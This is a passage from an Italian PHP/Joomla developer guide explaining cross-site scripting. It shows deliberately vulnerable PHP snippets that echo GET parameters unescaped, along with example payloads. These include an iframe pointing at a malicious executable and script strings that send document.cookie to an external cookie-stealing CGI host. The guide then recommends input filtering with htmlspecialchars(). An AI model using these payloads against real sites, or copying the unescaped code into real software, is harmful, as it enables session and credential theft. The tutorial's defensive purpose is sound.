L'unico modo per tutelarsi è quello di effettuare un attento controllo dei dati di input, effettuando l'escape di caratteri a rischio quali apici, virgolette, ...

La funzione `mosGetParam()`⁴¹ ed il metodo `$database->getEscaped()`⁴² sono strumenti fondamentali per lo scopo.

G.4 Cross-site scripting

Questo tipo di attacco, conosciuto anche come XSS, permette all'attaccante di eseguire codice Javascript (ma anche VBScript, ActiveX, Flash, HTML, ...) arbitrario sulla macchina dell'utente, semplicemente creando opportuni link nella pagina.

Supponiamo di avere una semplicissima pagina `pagina.php` che riceve un parametro `name` e lo visualizza a video:

⁴¹vedi sezione 2.20

⁴²vedi sezione 2.3.4


```

1 <?php
2     echo $_GET["name"];
3 ?>

```

Se la pagina venisse invocata come:

```

1 pagina.php?name=<iframe src='http://server/scripts/virus.exe?/c+dir'></iframe>

```

verrebbe invocato lo script contenuto su un server *maligno*.

Altri tipi di vulnerabilità più gravi potrebbero permettere l'esecuzione di script per rubare cookie dalla macchina dell'utente, contenenti password e dati personali. Supponiamo di avere una pagina che riceve il nome di un'immagine memorizzata sul server e la visualizza a video:

```

1 <?php
2     $image = $_GET["image"];
3     echo "<img src=\"images/$image\">";
4 ?>

```

L'attaccante potrebbe invocare la pagina facendo in modo che il parametro `image` abbia il seguente valore:

```

1 "><script>document.location='http://www.sitoesterno.com/cgi-bin/cookie.cgi?%'%20+ ↵
   ↵ document.cookie</script><<"

```

Ciò comporterebbe la visualizzazione del seguente codice HTML:

```

1 <script>document.location='http://www.sitoesterno.com/cgi-bin/cookie. ↵
   ↵ cgi?%'%20+document.cookie</script><">

```

che invoca una pagina esterna passandogli i cookie della propria macchina!

Un'altra possibilità potrebbe essere l'invocazione diretta della pagina:

```

1 http://www.tuosito.it/pagina.php?variabile=<script>document.location='http://www.sitoesterno. ↵
   ↵ com/cgi-bin/cookie.cgi?%'%20+document.cookie</script>

```

nel caso in cui il valore di `variabile` venga visualizzato a video.

L'unico modo per tutelarsi è controllare attentamente i parametri ricevuti e mantenere aggiornato il proprio browser. Le funzioni `mosGetParam()`⁴³ e `htmlspecialchars()`⁴⁴ sono strumenti fondamentali per lo scopo.

⁴³vedi sezione 2.20

⁴⁴vedi it2.php.net/manual/it/function.htmlspecialchars.php

H Changelog

Data	Versione	Descrizione
11 dicembre 2006	1.0.0 Pre-Final	primo rilascio pubblico

Tabella 3: Changelog

DEVBOOK

DEVBOOK

FINE